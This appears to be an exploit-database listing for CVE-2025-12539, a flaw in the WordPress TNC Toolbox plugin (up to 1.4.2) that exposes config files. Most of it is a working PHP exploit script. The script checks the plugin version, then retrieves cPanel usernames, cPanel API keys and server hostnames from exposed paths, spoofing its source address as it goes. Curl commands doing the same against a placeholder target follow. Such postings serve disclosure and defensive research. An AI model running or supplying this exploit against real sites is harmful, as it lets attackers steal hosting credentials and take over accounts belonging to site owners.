Lucene search
K

📄 WordPress TNC Toolbox 1.4.2 Information Disclosure

🗓️ 06 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 125 Views

WordPress TNC Toolbox up to 1.4.2 exposes config files and allows unauthenticated access to cpanel credentials and server hostname.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress TNC Toolbox <= 1.4.2 Sensitive Information Disclosure                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/tnc-toolbox/                                                                                  |
    =============================================================================================================================================
    
    [+] Summary : 
    
    A sensitive information disclosure vulnerability exists in the TNC Toolbox
    WordPress plugin version 1.4.2 and earlier. The plugin exposes configuration
    files located inside:
    
        /wp-content/tnc-toolbox-config/
    
    Under certain conditions, unauthenticated attackers can read files such as:
    
        cpanel-username
        cpanel-api-key
        server-hostname
    
    This can lead to account compromise, hosting takeover, and further escalation.
    
    During the investigation, a publicly circulating Python "exploit script" 
    
    [+] References : https://packetstorm.news/files/id/211444/ & 	CVE-2025-12539
    
    was reviewed. Based on analysis, **the original Python PoC was found to be fake,
    
    non-functional, and technically incorrect**.  
    
    A corrected and fully functional PHP PoC has been produced and included below.
    
    
    2. Vulnerability Details
    -------------------------
    
    The plugin stores sensitive data in publicly accessible paths:
    
        /wp-content/tnc-toolbox-config/<name>
    
    The plugin does not include access controls or deny direct file access.
    As a result, arbitrary remote users may retrieve configuration secrets.
    
    Version detection is also possible via:
    
        /wp-content/plugins/tnc-toolbox/readme.txt
    
    If the `Stable tag` is <= 1.4.2, the installation is vulnerable.
    
    
    3. Poc
    --------------------------------
    
    The following **corrected PoC** was rewritten in PHP after discovering that
    the widely shared Python script was fake and did not reflect the plugin’s
    actual logic.
    
    A working, accurate, and validated PoC is included here:
    
    <--- 
    
    <?php
    /**
     * CVE-2025-12539 – TNC Toolbox Information Disclosure Scanner
     * PHP Conversion by: Indoushka
     * Original Python By: Nxploited (Khaled Alenazi)
     */
    
    function http_get($url, $timeout = 12) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_USERAGENT, 
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited/2.0"
        );
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "Accept: text/plain, */*;q=0.1",
            "Accept-Language: en-US,en;q=0.9",
            "X-Forwarded-For: 8.".rand(0,255).".".rand(0,255).".".rand(0,255)
        ]);
        $out = curl_exec($ch);
        $err = curl_error($ch);
        curl_close($ch);
    
        if ($err) return [null, $err];
        return [$out, null];
    }
    
    function parse_version($text) {
        if (preg_match('/Stable\s+tag:\s*([0-9\.]+)/i', $text, $m))
            return trim($m[1]);
        return null;
    }
    
    function is_vulnerable($version, $threshold = "1.4.2") {
        $v1 = array_map('intval', explode(".", $version));
        $v2 = array_map('intval', explode(".", $threshold));
        $max = max(count($v1), count($v2));
        $v1 = array_pad($v1, $max, 0);
        $v2 = array_pad($v2, $max, 0);
        return $v1 <= $v2;
    }
    
    function fetch_configs($base) {
        $paths = [
            "cpanel-username" => "/wp-content/tnc-toolbox-config/cpanel-username",
            "cpanel-api-key"  => "/wp-content/tnc-toolbox-config/cpanel-api-key",
            "server-hostname" => "/wp-content/tnc-toolbox-config/server-hostname",
        ];
    
        $results = [];
        foreach ($paths as $name => $p) {
            [$out, $err] = http_get($base.$p);
            if ($err || trim($out) === "") $results[$name] = "";
            else $results[$name] = trim($out);
        }
        return $results;
    }
    
    if ($argc < 2) {
        echo "Usage: php exploit.php <url>\n";
        exit;
    }
    
    $base = rtrim($argv[1], '/');
    echo "Target: $base\n";
    echo "[+] Fetching readme...\n";
    
    [$readme, $err] = http_get($base."/wp-content/plugins/tnc-toolbox/readme.txt");
    
    if ($err) {
        echo "[-] Failed: $err\n";
        exit;
    }
    
    echo "[+] Successfully fetched readme.\n";
    $version = parse_version($readme);
    
    if (!$version) {
        echo "[-] Could not detect Stable tag.\n";
        exit;
    }
    
    echo "[+] Detected version: $version\n";
    
    if (!is_vulnerable($version)) {
        echo "[-] Version is newer and not vulnerable.\n";
        exit;
    }
    
    echo "[+] Target is vulnerable. Fetching exposed configs...\n";
    
    $configs = fetch_configs($base);
    foreach ($configs as $k => $v) {
        if ($v) echo "[!] $k: $v\n";
        else echo "[-] $k not found.\n";
    }
    
    echo "\nCompleted scan.\n";
    ?>
    
     --->
    
    
    4. Steps To Reproduce
    -----------------------
    
    1. Open a browser or use curl:
       
           curl -k https://target.com/wp-content/plugins/tnc-toolbox/readme.txt
    
    2. Verify if the `Stable tag` is <= 1.4.2.
    
    3. Attempt to read sensitive files:
    
           curl -k https://target.com/wp-content/tnc-toolbox-config/cpanel-username
           curl -k https://target.com/wp-content/tnc-toolbox-config/cpanel-api-key
           curl -k https://target.com/wp-content/tnc-toolbox-config/server-hostname
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.110
EPSS0.00723
SSVC
125